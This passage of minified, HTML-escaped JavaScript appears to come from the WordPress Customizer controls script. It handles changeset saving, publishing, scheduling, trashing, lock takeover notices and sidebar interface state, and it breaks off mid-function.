Y.Values,_.each([&quot;saved&quot;,&quot;saving&quot;,&quot;trashing&quot;,&quot;activated&quot;,&quot;processing&quot;,&quot;paneVisible&quot;,&quot;expandedPanel&quot;,&quot;expandedSection&quot;,&quot;changesetDate&quot;,&quot;selectedChangesetDate&quot;,&quot;changesetStatus&quot;,&quot;selectedChangesetStatus&quot;,&quot;remainingTimeToPublish&quot;,&quot;previewerAlive&quot;,&quot;editShortcutVisibility&quot;,&quot;changesetLocked&quot;,&quot;previewedDevice&quot;],function(e){Y.state.create(e)}),J(function(){var h,o,t,n,i,d,u,p,a,s,r,c,l,f,m,H,L,g,v,w,b,M,O,C,R,y,e,x,k,z,S,T,E,j,q,B,D,N,P,I,U,A;function F(e){e&amp;&amp;e.lockUser&amp;&amp;(Y.settings.changeset.lockUser=e.lockUser),Y.state(&quot;changesetLocked&quot;).set(!0),Y.notifications.add(new R(&quot;changeset_locked&quot;,{lockUser:Y.settings.changeset.lockUser,allowOverride:Boolean(e&amp;&amp;e.allowOverride)}))}function W(){var e,t=document.createElement(&quot;a&quot;);return t.href=location.href,e=Y.utils.parseQueryString(t.search.substr(1)),Y.settings.changeset.latestAutoDraftUuid?e.changeset_uuid=Y.settings.changeset.latestAutoDraftUuid:e.customize_autosaved=&quot;on&quot;,e.return=Y.settings.url.return,t.search=J.param(e),t.href}function Q(){T||(wp.ajax.post(&quot;customize_dismiss_autosave_or_lock&quot;,{wp_customize:&quot;on&quot;,customize_theme:Y.settings.theme.stylesheet,customize_changeset_uuid:Y.settings.changeset.uuid,nonce:Y.settings.nonce.dismiss_autosave_or_lock,dismiss_autosave:!0}),T=!0)}function K(){var e;return Y.state(&quot;activated&quot;).get()?(&quot;&quot;!==(e=Y.state(&quot;changesetStatus&quot;).get())&amp;&amp;&quot;auto-draft&quot;!==e||(e=&quot;publish&quot;),Y.state(&quot;selectedChangesetStatus&quot;).get()===e&amp;&amp;(&quot;future&quot;!==Y.state(&quot;selectedChangesetStatus&quot;).get()||Y.state(&quot;selectedChangesetDate&quot;).get()===Y.state(&quot;changesetDate&quot;).get())&amp;&amp;Y.state(&quot;saved&quot;).get()&amp;&amp;&quot;auto-draft&quot;!==Y.state(&quot;changesetStatus&quot;).get()):0===Y._latestRevision}function V(){Y.unbind(&quot;change&quot;,V),Y.state(&quot;selectedChangesetStatus&quot;).unbind(V),Y.state(&quot;selectedChangesetDate&quot;).unbind(V),J(window).on(&quot;beforeunload.customize-confirm&quot;,function(){if(!K()&amp;&amp;!Y.state(&quot;changesetLocked&quot;).get())return setTimeout(function(){t.removeClass(&quot;customize-loading&quot;)},1),Y.l10n.saveAlert})}function $(){var e=J.Deferred(),t=!1,n=!1;return K()?n=!0:confirm(Y.l10n.saveAlert)?(n=!0,Y.each(function(e){e._dirty=!1}),J(document).off(&quot;visibilitychange.wp-customize-changeset-update&quot;),J(window).off(&quot;beforeunload.wp-customize-changeset-update&quot;),i.css(&quot;cursor&quot;,&quot;progress&quot;),&quot;&quot;!==Y.state(&quot;changesetStatus&quot;).get()&amp;&amp;(t=!0)):e.reject(),(n||t)&amp;&amp;wp.ajax.send(&quot;customize_dismiss_autosave_or_lock&quot;,{timeout:500,data:{wp_customize:&quot;on&quot;,customize_theme:Y.settings.theme.stylesheet,customize_changeset_uuid:Y.settings.changeset.uuid,nonce:Y.settings.nonce.dismiss_autosave_or_lock,dismiss_autosave:t,dismiss_lock:n}}).always(function(){e.resolve()}),e.promise()}Y.settings=window._wpCustomizeSettings,Y.l10n=window._wpCustomizeControlsL10n,Y.settings&amp;&amp;J.support.postMessage&amp;&amp;(J.support.cors||!Y.settings.isCrossDomain)&amp;&amp;(null===Y.PreviewFrame.prototype.sensitivity&amp;&amp;(Y.PreviewFrame.prototype.sensitivity=Y.settings.timeouts.previewFrameSensitivity),null===Y.Previewer.prototype.refreshBuffer&amp;&amp;(Y.Previewer.prototype.refreshBuffer=Y.settings.timeouts.windowRefresh),o=J(document.body),t=o.children(&quot;.wp-full-overlay&quot;),n=J(&quot;#customize-info .panel-title.site-title&quot;),i=J(&quot;.customize-controls-close&quot;),d=J(&quot;#save&quot;),u=J(&quot;#customize-save-button-wrapper&quot;),p=J(&quot;#publish-settings&quot;),a=J(&quot;#customize-footer-actions&quot;),Y.bind(&quot;ready&quot;,function(){Y.section.add(new Y.OuterSection(&quot;publish_settings&quot;,{title:Y.l10n.publishSettings,priority:0,active:Y.settings.theme.active}))}),Y.section(&quot;publish_settings&quot;,function(t){var e,n,i,a,o,s,r;function c(){r=r||Y.utils.highlightButton(u,{delay:1e3,focusTarget:d})}function l(){r&amp;&amp;(r(),r=null)}e=new Y.Control(&quot;trash_changeset&quot;,{type:&quot;button&quot;,section:t.id,priority:30,input_attrs:{class:&quot;button-link button-link-delete&quot;,value:Y.l10n.discardChanges}}),Y.control.add(e),e.deferred.embedded.done(function(){e.container.find(&quot;.button-link&quot;).on(&quot;click&quot;,function(){confirm(Y.l10n.trashConfirm)&amp;&amp;wp.customize.previewer.trash()})}),Y.control.add(new Y.PreviewLinkControl(&quot;changeset_preview_link&quot;,{section:t.id,priority:100})),t.active.validate=n=function(){return!!Y.state(&quot;activated&quot;).get()&amp;&amp;!(Y.state(&quot;trashing&quot;).get()||&quot;trash&quot;===Y.state(&quot;changesetStatus&quot;).get()||&quot;&quot;===Y.state(&quot;changesetStatus&quot;).get()&amp;&amp;Y.state(&quot;saved&quot;).get())},s=function(){t.active.set(n())},Y.state(&quot;activated&quot;).bind(s),Y.state(&quot;trashing&quot;).bind(s),Y.state(&quot;saved&quot;).bind(s),Y.state(&quot;changesetStatus&quot;).bind(s),s(),(s=function(){p.toggle(t.active.get()),d.toggleClass(&quot;has-next-sibling&quot;,t.active.get())})(),t.active.bind(s),Y.state(&quot;selectedChangesetStatus&quot;).bind(l),t.contentContainer.find(&quot;.customize-action&quot;).text(Y.l10n.updating),t.contentContainer.find(&quot;.customize-section-back&quot;).removeAttr(&quot;tabindex&quot;),p.prop(&quot;disabled&quot;,!1),p.on(&quot;click&quot;,function(e){e.preventDefault(),t.expanded.set(!t.expanded.get())}),t.expanded.bind(function(e){p.attr(&quot;aria-expanded&quot;,String(e)),p.toggleClass(&quot;active&quot;,e),e?l():(&quot;&quot;!==(e=Y.state(&quot;changesetStatus&quot;).get())&amp;&amp;&quot;auto-draft&quot;!==e||(e=&quot;publish&quot;),(Y.state(&quot;selectedChangesetStatus&quot;).get()!==e||&quot;future&quot;===Y.state(&quot;selectedChangesetStatus&quot;).get()&amp;&amp;Y.state(&quot;selectedChangesetDate&quot;).get()!==Y.state(&quot;changesetDate&quot;).get())&amp;&amp;c())}),s=new Y.Control(&quot;changeset_status&quot;,{priority:10,type:&quot;radio&quot;,section:&quot;publish_settings&quot;,setting:Y.state(&quot;selectedChangesetStatus&quot;),templateId:&quot;customize-selected-changeset-status-control&quot;,label:Y.l10n.action,choices:Y.settings.changeset.statusChoices}),Y.control.add(s),(i=new Y.DateTimeControl(&quot;changeset_scheduled_date&quot;,{priority:20,section:&quot;publish_settings&quot;,setting:Y.state(&quot;selectedChangesetDate&quot;),minYear:(new Date).getFullYear(),allowPastDate:!1,includeTime:!0,twelveHourFormat:/a/i.test(Y.settings.timeFormat),description:Y.l10n.scheduleDescription})).notifications.alt=!0,Y.control.add(i),a=function(){Y.state(&quot;selectedChangesetStatus&quot;).set(&quot;publish&quot;),Y.previewer.save()},s=function(){var e=&quot;future&quot;===Y.state(&quot;changesetStatus&quot;).get()&amp;&amp;&quot;future&quot;===Y.state(&quot;selectedChangesetStatus&quot;).get()&amp;&amp;Y.state(&quot;changesetDate&quot;).get()&amp;&amp;Y.state(&quot;selectedChangesetDate&quot;).get()===Y.state(&quot;changesetDate&quot;).get()&amp;&amp;0&lt;=Y.utils.getRemainingTime(Y.state(&quot;changesetDate&quot;).get());e&amp;&amp;!o?o=setInterval(function(){var e=Y.utils.getRemainingTime(Y.state(&quot;changesetDate&quot;).get());Y.state(&quot;remainingTimeToPublish&quot;).set(e),e&lt;=0&amp;&amp;(clearInterval(o),o=0,a())},1e3):!e&amp;&amp;o&amp;&amp;(clearInterval(o),o=0)},Y.state(&quot;changesetDate&quot;).bind(s),Y.state(&quot;selectedChangesetDate&quot;).bind(s),Y.state(&quot;changesetStatus&quot;).bind(s),Y.state(&quot;selectedChangesetStatus&quot;).bind(s),s(),i.active.validate=function(){return&quot;future&quot;===Y.state(&quot;selectedChangesetStatus&quot;).get()},(s=function(e){i.active.set(&quot;future&quot;===e)})(Y.state(&quot;selectedChangesetStatus&quot;).get()),Y.state(&quot;selectedChangesetStatus&quot;).bind(s),Y.state(&quot;saving&quot;).bind(function(e){e&amp;&amp;&quot;future&quot;===Y.state(&quot;selectedChangesetStatus&quot;).get()&amp;&amp;i.toggleFutureDateNotification(!i.isFutureDate())})}),J(&quot;#customize-controls&quot;).on(&quot;keydown&quot;,function(e){var t=13===e.which,n=J(e.target);t&amp;&amp;(n.is(&quot;input:not([type=button])&quot;)||n.is(&quot;select&quot;))&amp;&amp;e.preventDefault()}),J(&quot;.customize-info&quot;).find(&quot;&gt; .accordion-section-title .customize-help-toggle&quot;).on(&quot;click&quot;,function(){var e=J(this).closest(&quot;.accordion-section&quot;),t=e.find(&quot;.customize-panel-description:first&quot;);e.hasClass(&quot;cannot-expand&quot;)||(e.hasClass(&quot;open&quot;)?(e.toggleClass(&quot;open&quot;),t.slideUp(Y.Panel.prototype.defaultExpandedArguments.duration,function(){t.trigger(&quot;toggled&quot;)}),J(this).attr(&quot;aria-expanded&quot;,!1)):(t.slideDown(Y.Panel.prototype.defaultExpandedArguments.duration,function(){t.trigger(&quot;toggled&quot;)}),e.toggleClass(&quot;open&quot;),J(this).attr(&quot;aria-expanded&quot;,!0)))}),Y.previewer=new Y.Previewer({container:&quot;#customize-preview&quot;,form:&quot;#customize-controls&quot;,previewUrl:Y.settings.url.preview,allowedUrls:Y.settings.url.allowed},{nonce:Y.settings.nonce,query:function(e){var t={wp_customize:&quot;on&quot;,customize_theme:Y.settings.theme.stylesheet,nonce:this.nonce.preview,customize_changeset_uuid:Y.settings.changeset.uuid};return!Y.settings.changeset.autosaved&amp;&amp;Y.state(&quot;saved&quot;).get()||(t.customize_autosaved=&quot;on&quot;),t.customized=JSON.stringify(Y.dirtyValues({unsaved:e&amp;&amp;e.excludeCustomizedSaved})),t},save:function(i){var e,t,a=this,o=J.Deferred(),s=Y.state(&quot;selectedChangesetStatus&quot;).get(),r=Y.state(&quot;selectedChangesetDate&quot;).get(),n=Y.state(&quot;processing&quot;),c={},l=[],d=[],u=[];function p(e){c[e.id]=!0}return i&amp;&amp;i.status&amp;&amp;(s=i.status),Y.state(&quot;saving&quot;).get()&amp;&amp;(o.reject(&quot;already_saving&quot;),o.promise()),Y.state(&quot;saving&quot;).set(!0),t=function(){var n={},t=Y._latestRevision,e=&quot;client_side_error&quot;;if(Y.bind(&quot;change&quot;,p),Y.notifications.remove(e),Y.each(function(t){t.notifications.each(function(e){&quot;error&quot;!==e.type||e.fromServer||(l.push(t.id),n[t.id]||(n[t.id]={}),n[t.id][e.code]=e)})}),Y.control.each(function(t){t.setting&amp;&amp;(t.setting.id||!t.active.get())||t.notifications.each(function(e){&quot;error&quot;===e.type&amp;&amp;u.push([t])})}),d=_.union(u,_.values(Y.findControlsForSettings(l))),!_.isEmpty(d))return d[0][0].focus(),Y.unbind(&quot;change&quot;,p),l.length&amp;&amp;Y.notifications.add(new Y.Notification(e,{message:(1===l.length?Y.l10n.saveBlockedError.singular:Y.l10n.saveBlockedError.plural).replace(/%s/g,String(l.length)),type:&quot;error&quot;,dismissible:!0,saveFailure:!0})),o.rejectWith(a,[{setting_invalidities:n}]),Y.state(&quot;saving&quot;).set(!1),o.promise();e=J.extend(a.query({excludeCustomizedSaved:!1}),{nonce:a.nonce.save,customize_changeset_status:s}),i&amp;&amp;i.date?e.customize_changeset_date=i.date:&quot;future&quot;===s&amp;&amp;r&amp;&amp;(e.customize_changeset_date=r),i&amp;&amp;i.title&amp;&amp;(e.customize_changeset_title=i.title),Y.trigger(&quot;save-request-params&quot;,e),e=wp.ajax.post(&quot;customize_save&quot;,e),Y.state(&quot;processing&quot;).set(Y.state(&quot;processing&quot;).get()+1),Y.trigger(&quot;save&quot;,e),e.always(function(){Y.state(&quot;processing&quot;).set(Y.state(&quot;processing&quot;).get()-1),Y.state(&quot;saving&quot;).set(!1),Y.unbind(&quot;change&quot;,p)}),Y.notifications.each(function(e){e.saveFailure&amp;&amp;Y.notifications.remove(e.code)}),e.fail(function(e){var t,n={type:&quot;error&quot;,dismissible:!0,fromServer:!0,saveFailure:!0};&quot;0&quot;===e?e=&quot;not_logged_in&quot;:&quot;-1&quot;===e&amp;&amp;(e=&quot;invalid_nonce&quot;),&quot;invalid_nonce&quot;===e?a.cheatin():&quot;not_logged_in&quot;===e?(a.preview.iframe.hide(),a.login().done(function(){a.save(),a.preview.iframe.show()})):e.code?&quot;not_future_date&quot;===e.code&amp;&amp;Y.section.has(&quot;publish_settings&quot;)&amp;&amp;Y.section(&quot;publish_settings&quot;).active.get()&amp;&amp;Y.control.has(&quot;changeset_scheduled_date&quot;)?Y.control(&quot;changeset_scheduled_date&quot;).toggleFutureDateNotification(!0).focus():&quot;changeset_locked&quot;!==e.code&amp;&amp;(t=new Y.Notification(e.code,_.extend(n,{message:e.message}))):t=new Y.Notification(&quot;unknown_error&quot;,_.extend(n,{message:Y.l10n.unknownRequestFail})),t&amp;&amp;Y.notifications.add(t),e.setting_validities&amp;&amp;Y._handleSettingValidities({settingValidities:e.setting_validities,focusInvalidControl:!0}),o.rejectWith(a,[e]),Y.trigger(&quot;error&quot;,e),&quot;changeset_already_published&quot;===e.code&amp;&amp;e.next_changeset_uuid&amp;&amp;(Y.settings.changeset.uuid=e.next_changeset_uuid,Y.state(&quot;changesetStatus&quot;).set(&quot;&quot;),Y.settings.changeset.branching&amp;&amp;h.send(&quot;changeset-uuid&quot;,Y.settings.changeset.uuid),Y.previewer.send(&quot;changeset-uuid&quot;,Y.settings.changeset.uuid))}),e.done(function(e){a.send(&quot;saved&quot;,e),Y.state(&quot;changesetStatus&quot;).set(e.changeset_status),e.changeset_date&amp;&amp;Y.state(&quot;changesetDate&quot;).set(e.changeset_date),&quot;publish&quot;===e.changeset_status&amp;&amp;(Y.each(function(e){e._dirty&amp;&amp;(_.isUndefined(Y._latestSettingRevisions[e.id])||Y._latestSettingRevisions[e.id]&lt;=t)&amp;&amp;(e._dirty=!1)}),Y.state(&quot;changesetStatus&quot;).set(&quot;&quot;),Y.settings.changeset.uuid=e.next_changeset_uuid,Y.settings.changeset.branching)&amp;&amp;h.send(&quot;changeset-uuid&quot;,Y.settings.changeset.uuid),Y._lastSavedRevision=Math.max(t,Y._lastSavedRevision),e.setting_validities&amp;&amp;Y._handleSettingValidities({settingValidities:e.setting_validities,focusInvalidControl:!0}),o.resolveWith(a,[e]),Y.trigger(&quot;saved&quot;,e),_.isEmpty(c)||Y.state(&quot;saved&quot;).set(!1)})},0===n()?t():(e=function(){0===n()&amp;&amp;(Y.state.unbind(&quot;change&quot;,e),t())},Y.state.bind(&quot;change&quot;,e)),o.promise()},trash:function(){var e,n,i;Y.state(&quot;trashing&quot;).set(!0),Y.state(&quot;processing&quot;).set(Y.state(&quot;processing&quot;).get()+1),e=wp.ajax.post(&quot;customize_trash&quot;,{customize_changeset_uuid:Y.settings.changeset.uuid,nonce:Y.settings.nonce.trash}),Y.notifications.add(new Y.OverlayNotification(&quot;changeset_trashing&quot;,{type:&quot;info&quot;,message:Y.l10n.revertingChanges,loading:!0})),n=function(){var e,t=document.createElement(&quot;a&quot;);Y.state(&quot;changesetStatus&quot;).set(&quot;trash&quot;),Y.each(function(e){e._dirty=!1}),Y.state(&quot;saved&quot;).set(!0),t.href=location.href,delete(e=Y.utils.parseQueryString(t.search.substr(1))).changeset_uuid,e.return=Y.settings.url.return,t.search=J.param(e),location.replace(t.href)},i=function(e,t){e=e||&quot;unknown_error&quot;;Y.state(&quot;processing&quot;).set(Y.state(&quot;processing&quot;).get()-1),Y.state(&quot;trashing&quot;).set(!1),Y.notifications.remove(&quot;changeset_trashing&quot;),Y.notifications.add(new Y.Notification(e,{message:t||Y.l10n.unknownError,dismissible:!0,type:&quot;error&quot;}))},e.done(function(e){n(e.message)}),e.fail(function(e){var t=e.code||&quot;trashing_failed&quot;;e.success||&quot;non_existent_changeset&quot;===t||&quot;changeset_already_trashed&quot;===t?n(e.message):i(t,e.message)})},getFrontendPreviewUrl:function(){var e,t=document.createElement(&quot;a&quot;);return t.href=this.previewUrl.get(),e=Y.utils.parseQueryString(t.search.substr(1)),Y.state(&quot;changesetStatus&quot;).get()&amp;&amp;&quot;publish&quot;!==Y.state(&quot;changesetStatus&quot;).get()&amp;&amp;(e.customize_changeset_uuid=Y.settings.changeset.uuid),Y.state(&quot;activated&quot;).get()||(e.customize_theme=Y.settings.theme.stylesheet),t.search=J.param(e),t.href}}),J.ajaxPrefilter(function(e){/wp_customize=on/.test(e.data)&amp;&amp;(e.data+=&quot;&amp;&quot;+J.param({customize_preview_nonce:Y.settings.nonce.preview}))}),Y.previewer.bind(&quot;nonce&quot;,function(e){J.extend(this.nonce,e)}),Y.bind(&quot;nonce-refresh&quot;,function(e){J.extend(Y.settings.nonce,e),J.extend(Y.previewer.nonce,e),Y.previewer.send(&quot;nonce-refresh&quot;,e)}),J.each(Y.settings.settings,function(e,t){var n=Y.settingConstructor[t.type]||Y.Setting;Y.add(new n(e,t.value,{transport:t.transport,previewer:Y.previewer,dirty:!!t.dirty}))}),J.each(Y.settings.panels,function(e,t){var n=Y.panelConstructor[t.type]||Y.Panel,t=_.extend({params:t},t);Y.panel.add(new n(e,t))}),J.each(Y.settings.sections,function(e,t){var n=Y.sectionConstructor[t.type]||Y.Section,t=_.extend({params:t},t);Y.section.add(new n(e,t))}),J.each(Y.settings.controls,function(e,t){var n=Y.controlConstructor[t.type]||Y.Control,t=_.extend({params:t},t);Y.control.add(new n(e,t))}),_.each([&quot;panel&quot;,&quot;section&quot;,&quot;control&quot;],function(e){var t=Y.settings.autofocus[e];t&amp;&amp;Y[e](t,function(e){e.deferred.embedded.done(function(){Y.previewer.deferred.active.done(function(){e.focus()})})})}),Y.bind(&quot;ready&quot;,Y.reflowPaneContents),J([Y.panel,Y.section,Y.control]).each(function(e,t){var n=_.debounce(Y.reflowPaneContents,Y.settings.timeouts.reflowPaneContents);t.bind(&quot;add&quot;,n),t.bind(&quot;change&quot;,n),t.bind(&quot;remove&quot;,n)}),Y.bind(&quot;ready&quot;,function(){var e,t,n;Y.notifications.container=J(&quot;#customize-notifications-area&quot;),Y.notifications.bind(&quot;change&quot;,_.debounce(function(){Y.notifications.render()})),e=J(&quot;.wp-full-overlay-sidebar-content&quot;),Y.notifications.bind(&quot;rendered&quot;,function(){e.css(&quot;top&quot;,&quot;&quot;),0!==Y.notifications.count()&amp;&amp;(t=Y.notifications.container.outerHeight()+1,n=parseInt(e.css(&quot;top&quot;),10),e.css(&quot;top&quot;,n+t+&quot;px&quot;)),Y.notifications.trigger(&quot;sidebarTopUpdated&quot;)}),Y.notifications.render()}),s=Y.state,c=s.instance(&quot;saved&quot;),l=s.instance(&quot;saving&quot;),f=s.instance(&quot;trashing&quot;),m=s.instance(&quot;activated&quot;),e=s.instance(&quot;processing&quot;),I=s.instance(&quot;paneVisible&quot;),H=s.instance(&quot;expandedPanel&quot;),L=s.instance(&quot;expandedSection&quot;),g=s.instance(&quot;changesetStatus&quot;),v=s.instance(&quot;selectedChangesetStatus&quot;),w=s.instance(&quot;changesetDate&quot;),b=s.instance(&quot;selectedChangesetDate&quot;),M=s.instance(&quot;previewerAlive&quot;),O=s.instance(&quot;editShortcutVisibility&quot;),C=s.instance(&quot;changesetLocked&quot;),s.bind(&quot;change&quot;,function(){var e;m()?&quot;&quot;===g.get()&amp;&amp;c()?(Y.settings.changeset.currentUserCanPublish?d.val(Y.l10n.published):d.val(Y.l10n.saved),i.find(&quot;.screen-reader-text&quot;).text(Y.l10n.close)):(&quot;draft&quot;===v()?c()&amp;&amp;v()===g()?d.val(Y.l10n.draftSaved):d.val(Y.l10n.saveDraft):&quot;future&quot;===v()?!c()||v()!==g()||w.get()!==b.get()?d.val(Y.l10n.schedule):d.val(Y.l10n.scheduled):Y.settings.changeset.currentUserCanPublish&amp;&amp;d.val(Y.l10n.publish),i.find(&quot;.screen-reader-text&quot;).text(Y.l10n.cancel)):(d.val(Y.l10n.activate),i.find(&quot;.screen-reader-text&quot;).text(Y.l10n.cancel)),e=!l()&amp;&amp;!f()&amp;&amp;!C()&amp;&amp;(!m()||!c()||g()!==v()&amp;&amp;&quot;&quot;!==g()||&quot;future&quot;===v()&amp;&amp;w.get()!==b.get()),d.prop(&quot;disabled&quot;,!e)}),v.validate=function(e){return&quot;&quot;===e||&quot;auto-draft&quot;===e?null:e},S=Y.settings.changeset.currentUserCanPublish?&quot;publish&quot;:&quot;draft&quot;,g(Y.settings.changeset.status),C(Boolean(Y.settings.changeset.lockUser)),w(Y.settings.changeset.publishDate),b(Y.settings.changeset.publishDate),v(&quot;&quot;===Y.settings.changeset.status||&quot;auto-draft&quot;===Y.settings.changeset.status?S:Y.settings.changeset.status),v.link(g),c(!0),&quot;&quot;===g()&amp;&amp;Y.each(function(e){e._dirty&amp;&amp;c(!1)}),l(!1),m(Y.settings.theme.active),e(0),I(!0),H(!1),L(!1),M(!0),O(&quot;visible&quot;),Y.bind(&quot;change&quot;,function(){s(&quot;saved&quot;).get()&amp;&amp;s(&quot;saved&quot;).set(!1)}),Y.settings.changeset.branching&amp;&amp;c.bind(function(e){e||r(!0)}),l.bind(function(e){o.toggleClass(&quot;saving&quot;,e)}),f.bind(function(e){o.toggleClass(&quot;trashing&quot;,e)}),Y.bind(&quot;saved&quot;,function(e){s(&quot;saved&quot;).set(!0),&quot;publish&quot;===e.changeset_status&amp;&amp;s(&quot;activated&quot;).set(!0)}),m.bind(function(e){e&amp;&amp;Y.trigger(&quot;activated&quot;)}),r=function(e){var t,n;if(history.replaceState){if((t=document.createElement(&quot;a&quot;)).href=location.href,n=Y.utils.parseQueryString(t.search.substr(1)),e){if(n.changeset_uuid===Y.settings.changeset.uuid)return;n.changeset_uuid=Y.settings.changeset.uuid}else{if(!n.changeset_uuid)return;delete n.changeset_uuid}t.search=J.param(n),history.replaceState({},document.title,t.href)}},Y.settings.changeset.branching&amp;&amp;g.bind(function(e){r(&quot;&quot;!==e&amp;&amp;&quot;publish&quot;!==e&amp;&amp;&quot;trash&quot;!==e)}),R=Y.OverlayNotification.extend({templateId:&quot;customize-changeset-locked-notification&quot;,lockUser:null,initialize:function(e,t){e=e||&quot;changeset_locked&quot;,t=_.extend({message:&quot;&quot;,type:&quot;warning&quot;,containerClasses:&quot;&quot;,lockUser:{}},t);t.containerClasses+=&quot; notification-changeset-locked&quot;,Y.OverlayNotification.prototype.initialize.call(this,e,t)},render:function(){var t,n,i=this,e=_.extend({allowOverride:!1,returnUrl:Y.settings.url.return,previewUrl:Y.previewer.previewUrl.get(),frontendPreviewUrl:Y.previewer.getFrontendPreviewUrl()},this),a=Y.OverlayNotification.prototype.render.call(e);return Y.requestChangesetUpdate({},{autosave:!0}).fail(function(e){e.autosaved||a.find(&quot;.notice-error&quot;).prop(&quot;hidden&quot;,!1).text(e.message||Y.l10n.unknownRequestFail)}),(t=a.find(&quot;.customize-notice-take-over-button&quot;)).on(&quot;click&quot;,function(e){e.preventDefault(),n||(t.addClass(&quot;disabled&quot;),(n=wp.ajax.post(&quot;customize_override_changeset_lock&quot;,{wp_customize:&quot;on&quot;,customize_theme:Y.settings.theme.stylesheet,customize_changeset_uuid:Y.settings.changeset.uuid,nonce:Y.settings.nonce.override_lock})).done(function(){Y.notifications.remove(i.code),Y.state(&quot;changesetLocked&quot;).set(!1)}),n.fail(function(e){e=e.message||Y.l10n.unknownRequestFail;a.find(&quot;.notice-error&quot;).prop(&quot;hidden&quot;,!1).text(e),n.always(function(){t.removeClass(&quot;disabled&quot;)})}),n.always(function(){n=null}))}),a}}),Y.settings.changeset.lockUser&amp;&amp;F({allowOverride:!0}),J(document).on(&quot;heartbeat-send.update_lock_notice&quot;,function(e,t){t.check_changeset_lock=!0,t.changeset_uuid=Y.settings.changeset.uuid}),J(document).on(&quot;heartbeat-tick.update_lock_notice&quot;,function(e,t){var n,i=&quot;changeset_locked&quot;;t.customize_changeset_lock_user&amp;&amp;((n=Y.notifications(i))&amp;&amp;n.lockUser.id!==Y.settings.changeset.lockUser.id&amp;&amp;Y.notifications.remove(i),F({lockUser:t.customize_changeset_lock_user}))}),Y.bind(&quot;error&quot;,function(e){&quot;changeset_locked&quot;===e.code&amp;&amp;e.lock_user&amp;&amp;F({lockUser:e.lock_user})}),T=!(S=[]),Y.settings.changeset.autosaved&amp;&amp;(Y.state(&quot;saved&quot;).set(!1),S.push(&quot;customize_autosaved&quot;)),Y.settings.changeset.branching||Y.settings.changeset.status&amp;&amp;&quot;auto-draft&quot;!==Y.settings.changeset.status||S.push(&quot;changeset_uuid&quot;),0&lt;S.length&amp;&amp;(S=S,e=document.createElement(&quot;a&quot;),x=0,e.href=location.href,y=Y.utils.parseQueryString(e.search.substr(1)),_.each(S,function(e){void 0!==y[e]&amp;&amp;(x+=1,delete y[e])}),0!==x)&amp;&amp;(e.search=J.param(y),history.replaceState({},document.title,e.href)),(Y.settings.changeset.latestAutoDraftUuid||Y.settings.changeset.hasAutosaveRevision)&amp;&amp;(z=&quot;autosave_available&quot;,Y.notifications.add(new Y.Notification(z,{message:Y.l10n.autosaveNotice,type:&quot;warning&quot;,dismissible:!0,render:function(){var e=Y.Notification.prototype.render.call(this),t=e.find(&quot;a&quot;);return t.prop(&quot;href&quot;,W()),t.on(&quot;click&quot;,function(e){e.preventDefault(),location.replace(W())}),e.find(&quot;.notice-dismiss&quot;).on(&quot;click&quot;,Q),e}})),Y.bind(&quot;change&quot;,k=function(){Q(),Y.notifications.remove(z),Y.unbind(&quot;change&quot;,k),Y.state(&quot;changesetStatus&quot;).unbind(k)}),Y.state(&quot;changesetStatus&quot;).bind(k)),parseInt(J(&quot;#customize-info&quot;).data(&quot;block-theme&quot;),10)&amp;&amp;(S=Y.l10n.blockThemeNotification,Y.notifications.add(new Y.Notification(&quot;site_editor_block_theme_notice&quot;,{message:S,type:&quot;info&quot;,dismissible:!1,render:function(){var e=Y.Notification.prototype.render.call(this),t=e.find(&quot;button.switch-to-editor&quot;);return t.on(&quot;click&quot;,function(e){e.preventDefault(),location.assign(t.data(&quot;action&quot;))}),e}}))),Y.previewer.previewUrl()?Y.previewer.refresh():Y.previewer.previewUrl(Y.settings.url.home),d.on(&quot;click&quot;,function(e){Y.previewer.save(),e.preventDefault()}).on(&quot;keydown&quot;,function(e){9!==e.which&amp;&amp;(13===e.which&amp;&amp;Y.previewer.save(),e.preventDefault())}),i.on(&quot;keydown&quot;,function(e){9!==e.which&amp;&amp;(13===e.which&amp;&amp;this.click(),e.preventDefault())}),J(&quot;.collapse-sidebar&quot;).on(&quot;click&quot;,function(){Y.state(&quot;paneVisible&quot;).set(!Y.state(&quot;paneVisible&quot;).get())}),Y.state(&quot;paneVisible&quot;).bind(function(e){t.toggleClass(&quot;preview-only&quot;,!e),t.toggleClass(&quot;expanded&quot;,e),t.toggleClass(&quot;collapsed&quot;,!e),e?J(&quot;.collapse-sidebar&quot;).attr({&quot;aria-expanded&quot;:&quot;true&quot;,&quot;aria-label&quot;:Y.l10n.collapseSidebar}):J(&quot;.collapse-sidebar&quot;).attr({&quot;aria-expanded&quot;:&quot;false&quot;,&quot;aria-label&quot;:Y.l10n.expandSidebar})}),o.on(&quot;keydown&quot;,function(e){var t,n=[],i=[],a=[];27===e.which&amp;&amp;(J(e.target).is(&quot;body&quot;)||J.contains(J(&quot;#customize-controls&quot;)[0],e.target))&amp;&amp;null===e.target.closest(&quot;.block-editor-writing-flow&quot;)&amp;&amp;null===e.target.closest(&quot;.block-editor-block-list__block-popover&quot;)&amp;&amp;(Y.control.each(function(e){e.expanded&amp;&amp;e.expanded()&amp;&amp;_.isFunction(e.collapse)&amp;&amp;n.push(e)}),Y.section.each(function(e){e.expanded()&amp;&amp;i.push(e)}),Y.panel.each(function(e){e.expanded()&amp;&amp;a.push(e)}),0&lt;n.length&amp;&amp;0===i.length&amp;&amp;(n.length=0),t=n[0]||i[0]||a[0])&amp;&amp;(&quot;themes&quot;===t.params.type?o.hasClass(&quot;modal-open&quot;)?t.closeDetails():Y.panel.has(&quot;themes&quot;)&amp;&amp;Y.panel(&quot;themes&quot;).collapse():(t.collapse(),e.preventDefault()))}),J(&quot;.customize-controls-preview-toggle&quot;).on(&quot;click&quot;,function(){Y.state(&quot;paneVisible&quot;).set(!Y.state(&quot;paneVisible&quot;).get())}),P=J(&quot;.wp-full-overlay-sidebar-content&quot;),I=function(e){var t=Y.state(&quot;expandedSection&quot;).get(),n=Y.state(&quot;expandedPanel&quot;).get();if(D&amp;&amp;D.element&amp;&amp;(j(D.element),D.element.find(&quot;.description&quot;).off(&quot;toggled&quot;,E)),!e)if(!t&amp;&amp;n&amp;&amp;n.contentContainer)e=n;else{if(n||!t||!t.contentContainer)return void(D=!1);e=t}(n=e.contentContainer.find(&quot;.customize-section-title, .panel-meta&quot;).first()).length?((D={instance:e,element:n,parent:n.closest(&quot;.customize-pane-child&quot;),height:n.outerHeight()}).element.find(&quot;.description&quot;).on(&quot;toggled&quot;,E),t&amp;&amp;q(D.element,D.parent)):D=!1},Y.state(&quot;expandedSection&quot;).bind(I),Y.state(&quot;expandedPanel&quot;).bind(I),P.on(&quot;scroll&quot;,_.throttle(function(){var 